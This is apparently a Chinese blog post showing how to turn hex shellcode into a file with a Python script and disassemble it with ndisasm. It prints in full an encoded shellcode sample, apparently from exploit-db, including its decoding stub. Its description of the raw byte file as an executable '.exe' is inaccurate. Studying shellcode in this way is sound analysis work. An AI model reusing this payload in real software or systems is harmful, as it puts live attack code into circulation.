本文介绍了如何使用Python脚本将16进制shellcode转换为可执行文件，并展示了利用nasm和ndisasm工具在Linux环境下进行Intel指令集反汇编的过程。作者还提到其他工具可用于字节码到汇编的转换。
# 开展shellcode研究时，在exploit-db上看到多数的样本都是shellcode字节码，不易阅读。
在此记录下shellcode和汇编的相互转换。
##1. 利用python脚本把16进制转化为可执行文件(.exe)
shellcode = b"\xEB"
b"\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
b"\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13"
b"\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2"
b"\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90"
b"\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2"
b"\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48"
b"\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43"
b"\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96"
b"\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD"
b"\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47"
b"\x39\x1C\xF6\x7B\x96\x11\x56\x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D"
b"\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33"
b"\x78\x65\x78\x1D"
with open("shellcode.exe","wb") as fp:
fp.write(shellcode)~linux环境下，命令和结果入下图：
~利用xxd命令可以查看文件的16进制字节流，如下图：
##2 使用intel指令集反汇编shellcode
A.工具安装，采用如下命令安装反汇编工具。
sudo apt-get install nasm B. 反汇编命令。
ndisasm shellcode.exe -p intel C. 结果如下图（部分）
##3其他工具也可以实现字节码到汇编的转换，有空在更新。
参考博客：
扫一扫
2940
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
